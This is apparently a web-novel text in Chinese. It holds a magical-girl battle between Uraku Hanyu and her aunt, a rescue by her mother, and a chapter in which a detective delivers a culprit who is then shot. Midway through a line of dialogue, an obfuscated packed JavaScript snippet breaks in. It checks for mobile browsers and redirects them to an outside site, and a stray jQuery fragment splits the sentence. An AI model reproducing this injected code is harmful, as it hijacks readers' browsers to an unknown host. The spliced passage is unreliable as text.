有结界在那羽翼之后展开,却不是不动的,结界的外表形成了一条半透明的鲸鱼形状,只有约三米长,从有乐羽生的身后,顺着剑所指的方向腾空而起。 “这是我所构建的结界。”有乐羽生持剑的手向下划过一个半圆,“吞下它吧。” 【魔法禁止——】有乐千实想说出这句话,却没能成功,她皱眉,抬手捂住了自己的脖子,【禁止行动】,她最后只是这样说。 但有乐羽生没有任何动作,那鲸鱼从上而下冲向地面,也吞下了一号机械生物,随后它再次飞起,整个身体分为几段,像是魔方一般各自旋转。 鲸鱼消失在半空后,碎成几段的器械零件掉落在地面上,只剩下头部还算是完整,区域部分不时闪过火光并传出小型爆炸的声响。 这是一场绞杀,是有乐羽生所设计的以空间魔法为基础的小型结界,是她对自己决意的具像化。 “二号,回收。”有乐千实没有犹豫,原本停驻不动的另一只机械生物听命行动,迅速上前带回了一号的头部,并将多余的部分拆卸掉。有乐千实将那圆球捡起,那球体层层伸展开,最后变成一面直径大约半米的椭圆形盾牌,被她固定在了右手手背上。 下一刻,她毫不犹豫地朝有乐羽生攻去。 “攻击形式不错。”有乐千实面无表情地说,“但你还是太弱了。”她抬手就袭向有乐羽生的面门,让她不得不抬剑格挡。有乐千实的力量大得惊人,即使卸力,有乐羽生依旧被原地击退两步,滑动三米后才稳住。 “…我的强大与否,和你到底有什么关系?”有乐羽生不理解为何有乐千实如此果断的选择攻击她,“我们有什么不可调和的矛盾吗?没有吧,我们之前从未见过。” 听闻这话,有乐千实的力道加大,罩裙翻飞,她翻身连踢快如闪电,但有乐羽生使用空间魔法避开,魔剑却也无法划破对方的盾牌。后方一道激光射线传来热度,有乐羽生惊险避开,攻击来源是二号,红色光点一闪,它已经开始蓄力下一次攻击。 “我见过你,见到你的时候,我就决定杀死你了,有乐羽生。”有乐千实冷笑一声。 “那时候我才多大?”有乐羽生听闻后大为不解,充满避开有乐千实的袭击,她展开羽翼跳跃向半空避开射击。 【坠落】,有乐千实说,随即重量加剧,有乐羽生掉向地面。 “你确实没做什么,但你存在于这里。”有乐千实冷眼旁观有乐羽生掉下,并有条不紊进行追击。 “…你被洗脑了!”有乐羽生忍无可忍地怒声斥道,“她们会用洗脑的手段迫使你发自真心地信任她们,醒醒,母亲她也不会想看到你这幅模样的。” 下一个瞬间,有乐羽生觉得自己几乎是被车撞到了一般倒飞出去,好在她学会了用魔法加持防御力在羽翼上,这样一来她无需担心来自背后撞击的冲击力。但这样一来建筑物的倒塌会更加严重,也会有更高的概率引来更多的普通人。 她勉强抬头看,有乐千实的脸上阴沉得像没开灯的车后座区域。 她生气了?因为我的那句话?有乐羽生察觉到了哪里不对,开始思考自己说的话里哪一部分戳到了对方的痛点。洗脑?母亲?这幅模样? “事到如今你还敢质疑我的强大?”有乐千实蔑视有乐羽生狼狈的身影,【停止行动】。 下个瞬间,有乐羽生无法反抗地被有乐千实拎着领子抓起,她的脚尖离地,近距离看着有乐千实,她这才发现对方和自己的母亲在生气时确实有着相似之处。 “没关系,你会发现自己的弱小的,因为你快要死了。”有乐千实的笑容丝毫不隐藏她那纯粹的恶意。 激光蓄力,热度紧逼,有乐羽生再次发动结界,迫使二号退后避开鲸鱼的吞噬。 有乐千实将有乐羽生扔到地上,抬起枪对准她的脑袋。 “你瞄准的对象不是我,你会为此付出代价的。”她毫不犹豫地连开数枪,有乐羽生不得已唤来鲸鱼结界冲向有乐千实,她退后一步避开,眼神没有从有乐羽生身上移开。 有乐千实绝不可能不杀普通人,有乐羽生明白这一点,为此感到焦急。她可以撤退,但那些普通人呢? “你讨厌她,我的母亲吗?”有乐羽生勉强支起上半身,问道。 “…你不会知道,她在生下你之前是个多么强大的人。”有乐千实眉头皱起,“她现在瞻前顾后,弱小得可怜。” 有乐羽生一愣,心想这个评价可真是新鲜。 “哈哈哈。”有乐羽生笑了,“她要是知道的话肯定要生气的。” 有乐千实看不惯这样的笑,抬手射击,有乐羽生不得不小心翼翼地闪身避开。 “这一切,都是因为你,有乐羽生。”有乐千实说着,脸上带着笑,“你让她变得软弱,让我失去那个强大的姐姐。” 她这样说,也这样做了,现在有乐羽生毫不怀疑有乐千实是真的想杀了自己。 但这个理由简直就莫名其妙,有乐羽生心想,怎么会有人因为“你让她变得弱小了”这样的理由去杀人呢?有乐千实对生命的看法在她作为Evo成员的一部分的过程中被扭曲了,有乐羽生为此感到悲伤,以及愤怒。 “你大概是唯一一个敢说母亲软弱的人,阿姨。”有乐羽生说着,还是有点想笑。 “因为我见过她真正强大时的模样。”有乐千实说着,眉毛扬起。 “那为什么你不自己去劝劝她,这样我大概也会好过很多。”有乐羽生笑着说,又迅速飞扑着避开冲过来的有乐千实。 “她已经变了。”有乐千实说,她的呼吸不曾因她的动作而混乱,如她自己所言的那样,她是个强者,而且极其擅长战斗,配合那些机械生物,有乐千实本身就是一个杀人者。 “…你又了解母亲多少呢?这么多年来,你从未来过我们家。”有乐羽生为对方笃定的语气感到疑惑又生气,这样一个杀人者没有资格评判她的母亲。 “她改变之后就不值得我去了解了,一个弱者而已。”有乐千实不屑地说。 这下有乐羽生是真的觉得这位阿姨惹她生气了,她心底燃起了火,连带着身上的疼痛一起干扰她的思维。 “母亲她一定是从来没有改变过的。”有乐羽生笃定地说,“她一定一直都是那副样子,无论是过去还是现在。” “你没有资格说这种话!”有乐千实怒道,“你是她的孩子,她没办法选择你是谁,而你也不过是侥幸获得了这种力量的人而已。而我,是见证过她的强大,她亲手选择的亲人。” 有乐千实的攻势愈发迅猛,之前的战斗似乎没有消耗她多少体力,有乐羽生连续几次都没能格挡下来,只能硬生生接下,但她的怒意让她无视伤痛。 “但你离开了,事到如今你还在抱怨什么呢?”有乐羽生并不感到失落。 “她答应过我,又自顾自变成了现在这幅样子。”有乐千实的愤怒让她的攻速更快,连续几次盾冲击在半空中发出空爆声,“你死去之后她可能会有所悔悟,不过这我也不在乎了。” 有乐羽生再次放出结界,鲸鱼顺应她的愤怒替她呼号着吞下二号机械生物,并保持冷静。 “不,她绝不可能改变的。”有乐羽生再次笃定的,高声否认对方的观点,“无论什么时候,母亲她都一定会自顾自地为自己亲爱的人安排了最好的路,替我们抬头看向所有可能的危险,却自己都不知道这条路会走向什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808008|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样的未来的。” 有乐羽生看向有乐千实,眼里带着怜悯。 “她那时也一定是这样对你的,阿姨。她也一定带着你去看了吧,那些属于她的东西,也为你安排好了大学。”有乐羽生说。 “闭嘴!”有乐千实愤怒时气势骇人,攻击时带着致死的力度,她之前甚至有所留手,“那不是我想要的东西,是你们这样的弱者才需要的安身之所!” 她挥臂,有乐羽生以剑身卸力,嗡鸣一声后,盾牌滑开砸在墙上击碎了一整片墙壁。 “那就是她!”有乐羽生高声否认,“无论是不是你想要的东西,那就是她一定会给你的,她从没有改变过,无论是你的姐姐还是我的母亲,她们都是同一人!” 战斗暂停了,二人气喘吁吁地站在废墟之中,周围混乱人群声音接近了,有乐羽生有些犹豫要不要先撤退让有乐千实跟着她离开这里。毕竟有乐千实看上去实在是太想杀死她了。 忽然,有乐千实抬起了头,从罩裙内的裤子口袋里取出了一个带针头玻璃瓶,透明容器内有黑红液体,她的眉头嫌弃的皱起,但没有犹豫,简单排气后直接扎进了自己的胳膊里。 有乐羽生警惕地看着对方身上的魔力气息在顷刻间攀升。下一个瞬间,有乐千实抬起头,双眼直视有乐羽生,几缕银白发丝丝毫不掩盖那其中露骨的冷意。 【有乐羽生,你去死吧。】她这样说道。 “…什么?”有乐羽生没有感到丝毫的不适,魔法没有失去作用,她的身体没有失去控制,但她有种非常坏,非常坏的预感。 忽然,她身后的建筑物中传来了嘈杂的声音,由远及近,她回头,看见的却只有火光和向她倒来的巨大墙壁。 有乐羽生没有再犹豫,回头看了有乐千实一眼,使用空间魔法转移离开了原地。而有乐千实也并没有去追,眼神淡漠地看着有乐羽生,她扶着自己的脖子吐出一口血。 有乐羽生周围的一切变得非常的不对劲。 花盆会莫名其妙的倒下,空调外机会忽然掉下来砸向她,就连偶尔遇到的混乱中,那些刀枪棍棒也会莫名砸向她。一开始她还能躲开,但随着身体上各处的疼痛席卷而来,她逐渐意识到了自己的虚弱和魔力的损耗,不得不先换下了魔法少女装束。 而此时,有乐羽生也逐渐明白了那句话的意思。但随即,她开始对这个魔法的持续时间感到担忧,若是一直这样下去她应该先去较为空旷的位置才比较安全。这样想着,她朝着前方巷子口外部跑去。 巷口外是车道,人声鼎沸,安保人员艰难地把人拦在人行道里,一旁有施工用的架子,有乐羽生意识到,自己绝不该来这里,来到这个到处都是视线,她无法使用魔法的地方。 忽然,金属的摩擦声从头顶传来,有乐羽生抬头,惊恐地发现有钢管从高空砸向她,周围的人纷纷避开,但她处于正中心,慌乱之下,她不得不朝车道中心扑去。 “咚——” “什么声音?”黑色轿车内,坐在副驾驶上的人疑惑道。若是常人看见她定是要吓一跳的,设计简约的黑色西装之下,她袒露的胸口密布纹身,延伸进皮肤的每一寸,细细地描绘着黑星和数个不知某处的教堂穹顶,她阴冷的眉眼被盖在眼镜下。 “游行发生什么都不意外,我们不就是来看这个的吗,怎么,反而不习惯这样的生活了?”驾驶座上,有乐千奈并不在意,她右手扶住方向盘,左手拎起手机,“不用下车,我让人去看。” “坐你的车我不必担心任何事情,顾问。”副驾驶座上的人嘴角略微勾起一个笑容,说,“那件事还没来得及感谢你,这下又承你的情了。目前看来进展顺利得出乎意料,那个人会明白代价总会是有人来讨的。” “当然不是谁都能让我开车,你担当得起。”有乐千奈丝毫没有表现出被感谢者该有的客气,她放下了手机,“顺利是自然的,那些人说到底也不过是一群丧家犬,没有一个合格的领导者迟早会落得如此下场。不过既然你对这件事的结果抱有如此之高的评价,那有些事就得让你帮忙了。” “这可不能拒绝啊,不过我还挺意外的,你在这个时候提出这种要求,是关于现在这些事?”坐副驾驶的人扭头看向窗外,周围一片混乱。 “今时不同往日,不进步就会逐渐沦为弱者。”有乐千奈理所当然地说道。 “既然如此,那就让我听听看吧,老听顾问提意见也是有些无趣的。”副驾驶的人笑了笑,卷曲的黑发在她耳边晃动,但过了一会,她没有听见有乐千奈的声音,便转头去看。 却发现这位将失态视为失礼的顾问,一反常态地上半身前倾,整个人近乎贴在了那黑色的皮质方向盘上,似乎是不敢相信自己看到的东西一般将头贴近了前挡风玻璃。下一个瞬间,她上半身收回,却也不是原先的优雅模样了。 “握紧扶手。”有乐千奈冷声道,不顾前方的车辆和缓慢前进的车队,一脚踩上油门的同时猛打方向盘,引擎惨叫,车身如同被甩了出去一般飞起。 有乐羽生刚摔到地上就意识到,这是车道,她心里顿感不妙,即使今天车流缓慢,但现在这种情况下她绝不相信自己的运气。 一抬头,她就看见一辆轿车朝她冲来,这辆车甚至是在逆行,驾驶座的司机看上去精神恍惚,头都歪到窗外去了却还记得踩油门。 有乐羽生条件反射地想使用空间魔法,却做不到,周围那些哀叹着看向她的视线反而成为了她无法逃离危机的原因。她试图爬起来,却发现自己的脚后跟似乎在刚才被压到了,现在根本动弹不得,情急之下,有乐羽生只能绝望地闭上眼睛。 被碾压的话还能拼回来吗?还是真的要死了?有乐羽生趴在地上,心中升起恐惧。 “碰——”是车辆撞倒什么的声音,但似乎并不是撞到人,而是撞到另一辆车。 “碰——”是车门打开的声音,有谁匆忙地跳下了车,朝闭着眼睛不敢看未来的人走去。 “碰——”是巴掌落在脑袋上护目镜带子的声音。 有乐羽生迷茫地抬起头,感受到脑袋上的疼痛,她变身结束后还带着护目镜,此时护目镜也被灰尘蒙住了一片。下一刻护目镜也被强行摘了下来,顺带扯断她了几根头发。 “啪——”这是有乐千奈的巴掌落在有乐羽生脸上的声音。 “你还敢染头发?!”有乐千奈的声音因愤怒而高昂,“带着个可笑的玩意就跑这里来丢人现眼来了,你——”有乐千奈还准备接着骂,把这个之前还趴在马路中间等死的,她的孩子,从上到下数落一通,来发泄她心中的愤怒。 不远处,那辆逆行的车被另外一辆黑色轿车的车头撞进了那堆散落的钢管之中。 “妈,妈妈——”有乐羽生一时也顾不上形象称呼或者其它什么东西了,她一把抱住有乐千奈,不顾自己身上的灰尘沾到对方一看就很贵的披肩和长裙上,连带着眼泪鼻涕委屈悲伤劫后余生的庆幸喜悦也是,全部一起糊了上去。 有乐千奈一时怔住,她抬起头看了眼周围,特警已经背对着围成一圈,只有本来坐在副驾驶的那位还在远处站着,察觉到视线后也背过身去了。 “好了,现在所有人都知道你作为有乐家的孩子有多丢人了,你满意了?!”有乐千奈又抽了有乐羽生几下,却发现对方浑身上下都是伤口,心下又惊又怒,“你还敢去打架?!” 实际上,根本没有人能认出这个带着护目镜还换了发色的人是有乐羽生。但有乐千奈哪里会管这个,她本想着让这近期不安分的孩子和朋友待在一起,定位也没出错,事到如今却在这里看见狼狈不堪,甚至差点被车撞死的有乐羽生,心中一阵后怕。 “没,没有,不是。”有乐羽生缓了缓,吸了吸鼻子,瞬间意识到自己现在处于一个什么情况,“不对,我不能待在这里!” “…你还想去哪里?”有乐千奈的声音阴沉得可怕,她抓着有乐羽生双肩的手都在颤抖。 不远处,有更多失控的人群冲向有乐羽生所在的位置,部分带着热武器。有乐羽生听到枪支的声音心里一惊,心想好在因为钢管掉落这里的人都走了很多。 “我现在很容易遇到危险!”有乐羽生慌乱地解释着什么,隐瞒着什么,“什么小概率事件都可能发生,我,我必须离所有人远一点!” 但是那些子弹没有波及到她,她抬眼,那些安保人员的防爆盾挡下了所有攻击。 “你和我说你去同学家玩,我让你去了,结果呢?!”有乐千奈几乎没办法控制声音在颤抖,“你给我出现在这里,你的手机呢?穿成这样还染了个头发,还嫌不够丢人?!给我站起来!” 说着她试着强行把有乐羽生提起来,却没提动,有乐千奈心想这孩子最近肯定是在外面乱吃东西了。她看着有乐羽生,感到哪里都不满意,衣服不是她挑的,头发也不是银白色的,脸也是脏的,表情也是失态的,就连身上也受了这么多的伤,在她不知道的时候。 有乐羽生看到了,理解了,感到无奈,却也知道这就是她的母亲。 “妈,母亲,我有一件事要和你说。”有乐羽生艰难地站了起来,她知道自己看上去绝对与有乐千奈想看到的自己截然相反,一定是哪里都没办法满意的。 但,这就是机会,有乐羽生意识到了,这就是一次最好的机会。她不会更害怕了,有乐千奈不会更生气了,这不就是最好的机会吗? “你还有什么事没说的?”有乐千奈冷声说道。 “其实,”有乐羽生深呼吸,“其实,我是魔法少女。” 于是,枪林弹雨和混乱的呼喊声中,45岁的有乐千奈迎来了她的中年危机。 “什么东西?说清楚。”她迅速恢复了冷静,“先说你这幅丢人的样子是怎么回事?谁干的?” “是千实阿姨,千实阿姨她刚才堵住我,带着两个奇怪的机器人,莫名其妙地就说要杀我。”有乐羽生抬头想解释什么,却发现自己母亲的脸色变得前所未有的难看。 随后,她解下自己的披肩罩住有乐羽生,顺带扯着她往车那边走去。 “拜托你帮忙,把她送去附近的地下避难所。”有乐千奈的声音毫无起伏,“记住,连张椅子都别给她。” 那人看着眼前的情况和二人,表情奇异。她黑色的卷发被服帖地梳在脑后,眉骨深邃,那之下的表情并没有因突然出现的混乱表达不满或者困惑,她扶了扶眼镜,低下头冷静地摸出手机打字。 有乐羽生注意到,这个人的手机与森山寺未央那个屏幕支离破碎的手机结构有些相似。 “您,您好。”有乐羽生仓促地和这个胸前有大面积纹身的人问好。 “说话不要犹豫!”有乐千奈大为不满。 “您好!我是有乐羽生!”有乐羽生条件反射地摆出微笑。 “先上车。”那人也没说什么,转身去了驾驶座,有乐羽生一瘸一拐地跟了上去,走之前,她回头看向有乐千奈,她也在看着自己的孩子,不久后,她拿起了手机。 76.INMATE-013 两个半小时内,启明星一共抵达了四个目的地进行她的侦探事务所扫尾工作,最短一次会面耗时二十分钟,最多一次耗时一个小时多一点,那些她曾经的雇主纷纷表达了不同的态度。但最后,她们三人还是在两个半小时后抵达了最终目的地,东部市区西北部的街道上。 “您的业务范围还真是,”犬山晓试图寻找一个合适的形容词,“非比寻常。” “与你们没法比哦,无论是严重性还是危险程度来说。”启明星摆了摆手,“就神脉医院那次事件来说,我就完全没有办法解决。” “那不能放在一起比较吧?”犬山晓思来想去觉得不太对。 “也是,毕竟那本来并不是用来‘解决’的一件事呢,只不过在各位看来那是一件可以被放进任务完成栏的记录,也就只有各位能做得到了。”启明星说着,又补充道,“现在这件事其实也是哦。” “这次由白夜社引发的混乱吗?”犬山晓想了想,“确实,如果没有我们出手进行阻止的话,城市里一定会出现大数量的伤亡人士吧。” 除去普通人可以想象到的那些,普通人无论如何都无法想象的那些部分才是真正的问题所在,而犬山晓不认为这些困难并不是普通人可以轻易快速解决的。 “正是如此,虽然偶尔我也会觉得人太多了,但真的出现大批量减少的话反而令我更头疼呢。”启明星说着,看向了人群熙攘的车窗外街道,“很多补给都只能在特定的商店购买,干洗店也会关门,街道上各种部门的管理都会变得很死板呢。” “以前发生过类似的事件吗?”犬山晓问道,她不记得自己在这个城市中遇到过相似的大规模混乱事件,当然这也是因为她并不主动观察社会治安这一方面。 “有,但并不是在这座城市中,所以这样说的话我其实也没有证据可以用来判断这几件事是否真的相关,由于一些原因,我很难离开这座城市。”启明星坦诚地说道,“主要是因为我的安全原因。” 就像之前关于神脉医院的实地考察她就没有参与。 “是否相关,”犬山晓喃喃自语,“虽然说天使不知为何无法离开这里,但我觉得以那些人的做法,其它城市也很难逃离毒手吧。” “关于这一点,我其实有一个想法。”启明星看向犬山晓说道,“我认为若是以结果来作为思考的方向的话,这座城市存在着另一片血湖,在西部市区范围内的地下某处。” 所以那些天使才能出现在这座城市,却又无法离开,这样来想是合乎逻辑的。可致命的点就在于,这个逻辑并没有证据可以支持,除非她们再次找到一部电梯直通那潮湿的地下室。 “另一片血湖,在我们脚底下吗?”犬山晓抖了抖肩膀。 “是的,阿贝尔家族使用血湖作为实验手段,但博蒙已死,那位CEO作为半途中加入的成员不知又对这个目标抱有多大的动力呢?”启明星眨了眨眼,“现在谈论这些不过是用以前情提要,结果要等我们真正见过她之后再考虑了。” “她就是六十七号先生要找的仇人吧。”犬山晓不太喜欢这个称呼,说的很快,“她曾经出现在神脉医院过,所以在行动范围这方面她是有所不同的吗?” “是的,就是不知道是哪个器官在提供效能了。”启明星点了点头,“若是与她战斗,请务必确保她没有再次爬起来的机会哦。” “是的,我清楚。”犬山晓郑重地点头,“您对这个人有什么了解吗?” “我与她从未见过面,听闻来的消息倒是五花八门。”启明星摇了摇头,“而且,十年前她还会因要事出现在公共场合,随着Evo股价变得稳定,她本人已经很少出现在摄像头前了。从这个角度来看她也有可能是经常需要前往其它城市或国家行动,有私人飞机就是方便。” “哈哈。”犬山晓无奈地笑了笑,“就是不知道我们会不会需要坐飞机去找她了。” “近期事端不少,或许她也有所参与,希望吧。”启明星说。 车辆稳稳停下,三人下车,启明星右手持拐杖驻足地面,左手拿起手机确认消息。 “差不多了。”她满意地点头。 这半小时是萨尔里这辈子度过的最漫长的三十分钟,每一秒都比荷官开奖前的倒计时喊话要长至少十倍,她坐在长椅上低头不语,那些争吵的声音她没有漏听任何一点。 她失败了,这才一个上午的时间,游行队伍彻底陷入了混乱之中。原本一齐出发的那些人没了影,人队车队乱了套,有人问她怎么办,她甚至不能说不知道。 “您看着身体不适,需要帮助吗?”有声音出现在她前方,有些耳熟,萨尔里抬头,一只黑色的眼罩提醒她来者是谁。 “…你!”萨尔里大惊之下整个人向斜后方退去,背撞到长椅背上,声音引来视线。 “是我。”启明星点头,微笑。 犬山晓在启明星的身后,看着萨尔里的表情从沉着的愤怒和懊恼在瞬间转变为带着惊讶的恐惧,而随着她反应过来发生了什么之后,却又抽搐着眼角露出了笑。 但她的笑容又在那些争吵的人看过来之后消失了,变为一种惴惴不安的慌乱,她几次张口,却没能发出任何声音。 “怎么了?”启明星问道,“萨——” “别!”萨尔里慌乱地打断了启明星的话语,声音又迅速放轻,“别喊我那个名字。” “你还有第二个名字?”犬山晓抬了抬眉毛。 “…你们是因为昨天的事情来找我的?”萨尔里岔开了话题。 “时间没出错吧?”启明星抬起左手确认手表上的时间,“没有,正好是中午,但是现在看来您似乎并没有做好心理准备,这可就伤脑筋了。” “我,”萨尔里似乎很久没喝水了,“我现在,不是,就是。” “萨尔里。”启明星忽然叫她的名字,“你怎么了?” “不要用那个名字叫我!”萨尔里怒而抬头,却看见对方在笑。 是了,她当然是知道的,她是故意的,萨尔里明白了这一点。 “那么,你还能是谁呢?”启明星看着萨尔里的眼睛,孩童特有的清亮暖棕色单眼足以制造压力,“是临时工会会长,是货车司机,是赌徒,是杀人犯?” 萨尔里陷入了沉默。有人见此情况围了过来,是个皮肤黝黑,干瘦的青少年。 “佐崎会长,这几个人是谁啊?”那人语气并不友善,“小孩子?小孩子不要来掺合啊!” “佐崎会长?”犬山晓愣了愣,很快反应过来发生了什么,她看向萨尔里,又看向启明星,启明星没有动作,继续看着萨尔里。 “都是,”萨尔里低垂着头,像具忽然开口说话的坐死的尸体,“可以了,我准备好了。” “会长?”那青少年不理解发生了什么,但却感受到了气氛的僵硬,“这些人是谁?大伙还在等着您呢,之前的吵架不用管,不用管的!那群家伙每天都吵架,正常的。” 萨尔里没有说话,没有动。 “萨——”启明星开口。 “我不是!”萨尔里颤抖着声音打断启明星,依旧没有抬头,“够了,够了,可以了,就这样。” “工会会长无法继续履行职责了,大概是临时证件到期了吧。”启明星看向那青少年,笑着说,“现在她有别的职责要履行了。” “什么?你们说什么?”那青少年听不懂其中含义,想去拉萨尔里又担心什么,没有真的去拉她,不停地说着一些安慰的话。把像是什么“在等你”,“小挫折”,“还很长”的不知道从哪个青年杂志上瞧见的用词一句接一句的往外抛。 萨尔里站了起来,看向了启明星。 “不错。”启明星满意萨尔里的表情,“那么告诉我,你说的那些大货在哪里?” “…先离开这里吧。”萨尔里的声音很轻,带着恳求。 “在哪里?”启明星问。 “船上,都在红标货船上。”萨尔里说。 “会长?”那青少年意识到有什么无法阻止的事情发生了,声音染上了焦急,“您要去哪里?我们不是说好了要——” “走吧。”萨尔里说,“求你了,走吧。” “走吧。”启明星笑了,“六十七号,把她的手绑在身后,带去后面的那辆车,你看着她。” “好的老板!”六十七号迅速从罩裙的口袋里掏出了麻绳,结实优雅地把萨尔里的手捆好,压着她的肩膀朝车辆走去,那青少年没有再追上来。 “你也不要再掺合这件事了。”犬山晓叹了口气,“这件事很危险的,那个人不是好人,你如果是被她的话打动了才加入的话,那还是尽快离开吧。” “你懂什么啊!”那青少年不屑地骂了几句,转身跑了。 “那些人很快要有新的口号和要求了。”启明星没有什么表情变化,“走吧,晓,这就是最后的委托提交时间。” “…走吧。”犬山晓再次叹了口气,收回了视线。 车辆再次带着四人来到了之前与一二七交谈过的那家酒店,但这次她们没有进入顶层,而是继续向上,来到了天台楼层。电梯门打开后露出的并不是泳池或者露台,而是个露天酒吧,用于演出的圆形舞台与那之后的荧幕安静地暗着,调酒师吧台与沙发围成的几个休息区都空无一人,但四周能看到一些武装安保人员。 歇息时分的热闹场所比寻常休息区看着更加使人感到倦怠。 不远处靠近外侧的地方,一二三四坐在栏杆上抽烟,她的头发与外套一起在白日大风之下胡乱舞动,整个人近乎探出了安全范围之外。一二七站在她右后方三米处,一旁放着那台冰柜。 启明星朝犬山晓点了点头,拄着拐杖朝一二三四走去,六十七号压着低着头不语的萨尔里跟上,犬山晓站在原地没有动作。 “您就这么喜欢风险行为吗?”启明星在一二三四身后两米处站定,与一二七点头致意。 一二三四回头,整个人倾斜了一个度,一二七腿动了动,但也没有更多了。 “我只是做这笔生意,没想着引火烧身。”一二三四右手夹着烟,声音一如既往地精力充沛,“之前我听说启明星侦探事务所失火了还在遗憾,没想到当事人一如既往地守约。” “多谢夸奖,您也是。”启明星抬手,六十七号压着萨尔里上前两步,“但很遗憾我未能带回活着的吉田川光,取而代之的是,我带回了犯人,将功补过,望您满意。” 虽然一二三四说过活的更好死的也行,但显然活人能取得更高的任务评价。 “动机是?”一二三四问。 “激情杀人,但此人为亚贝琉家族所属的工人。”启明星说。 一二三四转身跳下栏杆走向一二七,伸手,一二七从后腰摸出一把黑色的枪支抵过去,一二三四接过,上膛,抵住萨尔里的脑袋,开枪。 枪声不大,萨尔里无言地倒下了,仰面朝天,于是她终于露出了那副惨不忍睹的脸。 “多谢。”一二三四将手枪向后递,一二七接过收起。 “不敢。”启明星接过感谢,“她是个小人物,欠债太多自暴自弃,不值一提。” 一二三四看向了启明星,那发丝宛如草原狩猎者竖起的毛发一般张牙舞爪。风大了些,但没什么能遮住她的目光,犬山晓远远地看着,觉得那身影出现在室外时与在室内不太相似。 “那么重头戏也该上了,账本呢?”一二三四问道。 “那把枪并不是市售产品呢。”启明星却没有回答她的问题,“而且我没有看到子弹壳。” “侦探还对这种危险物品感兴趣?”一二三四抬高了语调。 “不必称呼我侦探了,好奇心强和观察力敏锐是我本人的特点,但您似乎也具备同样的优秀品质。”启明星并没有避开视线,“若是您能告诉我您的发现的话,那不就两全其美了吗?” 一二七警觉了起来,一二三四抬起左手,犬山晓上前两步,一二七没有动。 “你看过了,那个账本。”一二三四笃定地说。 “我没什么好辩解的。”启明星笑着说。 “如何?”一二三四抬起右手,吸了口烟。 “曲折婉转,精彩纷呈。”启明星说。 “尽说些像是要送死的话。”一二三四嗤笑一声,“你最好不是在仗势。” “怎么敢,不过您也一样。”启明星微笑着说。 一二三四没说话,左手伸出,启明星也没犹豫,把那U盘递了过去,一二三四也没看,接过就放手朝栏杆外抛去,白日下反光一闪而过,一二七扑向栏杆,还是没接住。 “哈哈哈!”一二三四毫不犹豫地笑了,“人年龄大了还是得锻炼一下身体的。” 一二七一言不发,他伏在栏杆上看向遥远向下的地面,束在脑后的头发被风吹起,他那疲惫的背影让他看上去像和那U盘一起被丢下去。 “…您到底是怎么想的呢?”启明星好奇地歪着头看向一二三四。 “您到底是怎么想的?!”一二七的疑问带着悲伤与不可置信,“我们无法离开这里,就无法承担那些后果,您这样的做法我实在是无法理解。” “然后呢?”一二三四略微扬起头,看向还趴在栏杆上的一二七。 “…我现在就去准备后事。”一二七直起了上半身,深深地叹了口气。 犬山晓为这句话中的妥协感到惊奇,启明星没什么意外的表情。 “七叔,我们可以离开这里,我们可以承担后果。”一二三四看向远处,跨过城市与地平线,最后落在天空,“这里实在是毫无价值,我们必须动身了,那群老东西也一样。” 被一二三四代指为老东西的一家族干部在不远处瞪着一二三四,但她无动于衷,风大了些,她没有动。 “我真的很好奇您的底气从何而来。”启明星惊叹道,“这算是赌博吗?” “赌博所获得的胜利不过是走向毁灭的必经之路,我从来不赌博,启明星。”一二三四把烟摁灭在了一旁桌子上的烟灰缸里,“你想要什么报酬?” “好吧。”启明星回过神招了招手,“晓!她把烟给熄了。” “…我来了。”犬山晓走到启明星身边,看着一二三四欲言又止。 “那个人真的不用管吗?”犬山晓指了指背部弯曲明显的一二七。 “他给三打下手的时候就驼背,那个时候流行这样吧。”一二三四毫不在意,“人到齐了?” “久等了。”启明星说,“那么,请您告知我们Evo的CEO,亚贝琉湛的下落吧。” 空气安静一瞬,一二七回头,一二三四双手环抱胸口,审视着眼前的几人。 “你看过那个账本,还问得出这种问题?”一二三四质问。 “显而易见。”启明星点头。 “你不能说吗?”犬山晓担心这是与博蒙会面那时相似的情况。 一二三四沉默了片刻,像是在思索,也像是在等风小一些。 “…安生,听我说。”一二七在一米外站定,声音恳切,“我们没办法理解你,但你总是能做出些我们意想不到的事情,在结果出现前我们无法理解其意义。但我们是一个整体,若是你还愿意考虑一下家族的意义的话,就不要继续下去了。” “西部市区那个瞭望塔,顶楼观光层上面还有个空间,你们去那里的话即使那家伙不在也会尽快赶过去的。”一二三四毫不犹豫地说道。 “…多谢。”犬山晓回应道,没有去看一二七的脸色。 “走了。”一二三四说着就离开了,经过一二七时拍了拍他的肩膀。一行人上前开始搬动冰箱,并开始处理萨尔里的尸体,动作极快,表情凝重但没有丝毫怨言。 一二七深深地叹了口气。 “多谢您以往的关照了。”启明星说道。 “…我也同样感谢您。”一二七点了点头,抬起头,起身追上了一二三四。 “我们也出发吧。”犬山晓说道,还是忍不住问了,“他那样真的没关系吗?” “我先前看错了,一二七也是死士,若是一二三四的选择让一家族灭亡,那他面对自身的死亡并不会犹豫。”启明星说着,抬起拐杖向电梯走去,“不必担心他,不出意外的话以后我们再也不会见到她们了吧。” 犬山晓点了点头,内心却还是对这个说法感到困惑。 “什么是死士?”六十七号忽然开口问道。 “为了主人的命令可以毫不犹豫地献出生命的人。”启明星回答道,“你的老同事,那些天使也可以被称作是死士。” “可是那个人只是普通人吧?”六十七号面露不解,“如果他心脏被击碎,那就再也不会醒过来了吧。” “你这个时候倒是能理解生命的重量了?”犬山晓讶异道。 “…我不理解。”六十七号摇了摇头。 “你不必理解,六十七号。”启明星摇了摇头,“走吧。” “也对。”六十七号没再纠结,跟了上去。 三人上车,车辆缓缓前进,出发前往西部市区。车门关上后,空间安静了下来。 “启明星,你说的我们不会再见到她们,是因为她们会死,还是因为她们会去很远的地方?”犬山晓在安静的车厢内犹豫了许久,还是问出了内心的疑惑。 “结果都是一样的,晓。”启明星看向犬山晓的眼神是温和的,“我们暂时无法知道真正的结果,但对你来说,两种结果的意义是相同的才对。为何你问出了这个问题呢?” 